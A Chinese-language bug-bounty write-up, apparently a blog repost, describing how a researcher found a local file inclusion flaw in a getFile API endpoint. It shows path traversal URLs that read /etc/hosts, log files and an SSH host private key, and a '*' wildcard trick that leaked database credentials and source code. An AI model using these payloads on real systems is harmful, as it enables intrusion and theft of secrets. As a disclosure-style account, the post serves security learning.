一位国外白帽子正在测试一个VDP程序,经过前期侦查后,他选择了对一个子域进行搜索。
打开Burp拦截请求,其中一个请求成功的引起了白帽小哥的注意。
https://target.tld/api/whitelabel/getFile?file=favico
白猫小哥开始尝试 LFI 并获取 /etc/passwd 文件,但响应均为空。
然后白帽小哥开始使用Seclists进行Fuzz:
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
https://target.tld/api/whitelabel/getFile?file=../../../../../../../../../../../../etc/hosts
https://target.tld/api/whitelabel/getFile?file=../../../../../../../../../../../../var/log/dmesg
https://target.tld/api/whitelabel/getFile?file=../../../../../../../../../../../../etc/ssh/ssh_host_dsa_key
https://target.tld/api/whitelabel/getFile?file=../../../../../../../../../../../../var/log/dpkg.log
generic
397 Bytes
© Guge's Blog
*/etc/hosts
*/etc/ssh/ssh_host_dsa_key
虽然没有大的影响,但LFI也算高危漏洞了,那么能否将漏洞级别提升至“严重级”呢?
hackerone上有不少这样的案例,比如以下这些:
根据这些案例报告,如果想将漏洞级别提升至“严重级”,需要找到一些‘特别’的东西,通过暴力破解似乎有点困难。
于是白帽小哥用特殊字符和 unicode 对内部端点进行Fuzz,并发现了一些有趣的东西。( * 字符可以返回每个目录中的所有文件)
比如下面这个请求:
https://target.tld/api/whitelabel/getFile?file=../../../../../../../../../../../../../../../var/www/*
generic
101 Bytes
© Guge's Blog
*数据库账号及密码
尝试登录看看,Bingo!
源码泄露:
这下漏洞的级别妥妥的“严重”了~
结果也确实没有令白帽小哥失望。
PS:关于 * 的用法,还可以这样使用:/etc/apache2/*SOME-STRING
如果该字符串与该目录中的文件名的一部分匹配,则返回该文件。像下面这样: